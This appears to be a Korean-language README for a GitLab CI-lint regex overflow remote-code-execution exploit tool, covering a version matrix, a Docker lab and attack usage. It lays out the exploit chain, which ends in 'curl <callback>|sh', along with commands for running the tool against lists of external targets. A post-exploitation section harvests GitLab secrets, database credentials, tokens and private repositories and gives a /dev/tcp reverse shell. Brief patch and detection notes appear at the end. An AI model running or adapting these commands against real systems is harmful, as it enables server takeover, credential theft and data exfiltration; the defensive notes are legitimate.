CVE-2026-97229 GitLab CI lint 정규식 정수 오버플로 RCE — InstaBox 버전 매트릭스 재현 및 libruby 가젯 리버스 엔지니어링
승인된 테스트 전용. 소유하거나 명시적으로 테스트 권한을 받은 시스템에만 사용하십시오 (버그 바운티 범위, 고객 참여, 자체 랩). 무단 사용은 불법입니다.
Onigmo 매처를 손상시키고 실행을 libruby.so 내부의 system() 가젯으로 리디렉션하는
인증되지 않은 CI-lint 요청:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
최종 요청은 인증이 필요 없지만, 악성 CI 구성을 심으려면 공개 프로젝트에 대한 쓰기 권한이 필요합니다(또는 자체 등록과 공개 프로젝트를 허용하는 인스턴스).
| 항목 | 값 |
|---|---|
| 영향받음 (테스트됨) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| 악용 불가 | 19.2.8, 19.3.4 (예외, 아래 참조), 19.3.5, 19.4.2; 19.2.3은 CE 이미지 없음 |
| 트리거 | 인증 없는 GET /api/v4/projects/:id/ci/lint |
| 전제 조건 | 도달 가능성 + 공개 프로젝트에 대한 쓰기 권한 (토큰, 탈취된 계정 또는 개방형 가입) |
| 영향 | GitLab 컨테이너 내부에서 git (uid 998) 권한으로 명령 실행 |
| PoC 제약 | x86_64 빌드; 레이아웃은 버전 문자열이 아닌 libruby.so 빌드별로 결정됨 |
| 권고 경계 | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4는 권고에서 영향받는 것으로 나열되지만, 번들된
libruby.so가 취약한 확장 경로에 진입하지 않습니다 — 무기화할 수 없었습니다 (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
클라우드 계정도, SSH도 필요 없습니다. 랩은 일반 Docker(로컬 데몬, DOCKER_HOST, 또는 docker context)입니다.
Docker Desktop에서는 --callback-host host.docker.internal을 추가하세요.
include.rules.exists.regexp와 110바이트 저장소 경로를 포함한 브랜치를 푸시합니다.{5(?#)7805}로 작성되어 Rails 측 반복 가드(REPEAT_MAX=1000)가 이를 감지하지 못합니다.call 명령어와 system@plt의 오프셋을 제공하여 VM을 리다이렉트합니다.curl -s <callback>|sh이며, git 서비스 사용자로 셸을 제공합니다../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
런처는 익스플로잇에 필요한 메모리 설정(sidekiq off, Puma 워커 1개, 작은 Postgres 버퍼, --memory 6.5g --shm-size 256m)을 적용하고, UI를 기다린 뒤 root 비밀번호를 설정합니다.
lab/README.md / lab/README_CN.md를 참고하세요.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| 필드 | 의미 |
|---|---|
http | GET /users/sign_in의 상태 |
version | 컨테이너에서 읽은 GitLab 버전 (컨테이너 접근 권한이 없으면 null) |
class | 권고 분류: affected / patched / not-listed / unknown |
libruby_md5 | 대상 컨테이너의 libruby.so 빌드 식별자 |
layout | finish / gadget / step (빌드가 알려져 있거나 도출 가능한 경우에만) |
exploitable | 레이아웃을 사용할 수 있는지 여부; class=affected라고 해서 반드시 그런 것은 아님 |
layout_source | table, derived, 또는 no-overflow-in-build |
class: "unknown"은 단순히 컨테이너/버전 정보를 사용할 수 없었다는 뜻입니다 — URL만 있는 대상의 경우
도구가 분류하거나 레이아웃을 도출할 수 없습니다. 아래의 “외부 대상”을 참조하십시오.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
성공 기준: lint가 dropped(HTTPError) 또는 http(502)이고 output이 uid=998(git)로 시작합니다. valid:true인 200은 해당 빌드가 취약하지 않다는 뜻입니다.
| 라인 | 익스플로잇 가능 | 패치됨 / 익스플로잇 불가 |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3은 CE 이미지 없음 |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (matcher가 절대 확장되지 않음), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
빌드별 증거: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container는 현재 익스플로잇 경로(libruby/layout + rails runner)에 필요합니다. layout은 도구가 읽을 수 없는 빌드에 대한 선택적 재정의입니다.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
각 대상에 대해 순서대로: probe → exploit → RCE 시 post-exploitation
(exploit/post/collect.sh; --post-command-file로 재정의, --no-post로 비활성화).
--probe-only는 핑거프린팅 후 중지합니다. 대상 중 하나라도 RCE가 발생하면 종료 코드 0입니다.
페이로드에는 빌드별 상수 세 개(finish, system@plt 가젯, UTF-8 스텝)가 필요합니다. 해석 순서:
layout (0x… 0x… 12345);libruby.so로부터 exploit/layout.py를 통한 즉석 도출.알려진 모든 취약 빌드는 두 가지 레이아웃만 사용합니다: 0x486DA9/0x31EE29/1249885 및
0x4885A9/0x31E809/1256138.
--mode external은 HTTP와 PAT(api 스코프)만 필요합니다: API를 통해 공개 프로젝트를 생성하고,
oauth2:<token>으로 푸시하며, 인증 없는 lint를 실행하고, 이후 프로젝트를 제거합니다.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80
GET /api/v4/version → 버전/md5 테이블; 알 수 없는 버전 → 두 후보
레이아웃 모두 (--force-unknown-version은 버전 검사를 건너뜀);api 스코프의 PAT; 없으면 도구는
no-write-path를 보고하고 아무것도 전송하지 않음;cb.example:80); 더 긴 주소는
요청 전에 거부됨;--scope와 --authorized가 필수; --dry-run은 핑거프린팅만 수행;GET /api/v4/projects/:id로 확인);익스플로잇은 **컨테이너 내부의 git (uid 998)**으로 실행됨 — 전체 GitLab 침해에 충분함.
플레이북: exploit/post/README.md / 中文.
# one-shot triage: identity, secrets, DB, repos, sudo, docker.sock
python3 exploit/cve97229.py --url ... --container ... --command-file exploit/post/collect.sh
| 대상 | 값 |
|---|---|
/etc/gitlab/gitlab-secrets.json | db_key_base, otp_key_base, runner/JWT 키; CI 변수와 토큰을 복호화 |
database.yml + gitlab-rails runner | 직접 DB, PAT, 관리자 사용자, CI 변수 |
/var/opt/gitlab/git-data/repositories | 비공개 저장소를 포함한 모든 저장소 |
Ci::Runner.pluck(:token) | 악성 runner 등록 |
gitlab.rb | SMTP/LDAP, 오브젝트 스토리지, 레지스트리 키 |
대화형 셸: 리스너와 함께 --command 'bash -i >& /dev/tcp/<host>/4444 0>&1'.
**19.2.8+, 19.3.5+, 19.4.2+**로 업그레이드하세요.
삼중 신호:
GET /api/v4/projects/*/ci/lint에서 badgateway: failed to receive response: EOF;regexp_matcher.rb:58: [BUG] Segmentation fault;( ?# ) 분할 수량자, 반복된 [[:word:]], 또는 \U00010400을 포함한 110바이트 UTF-8 경로.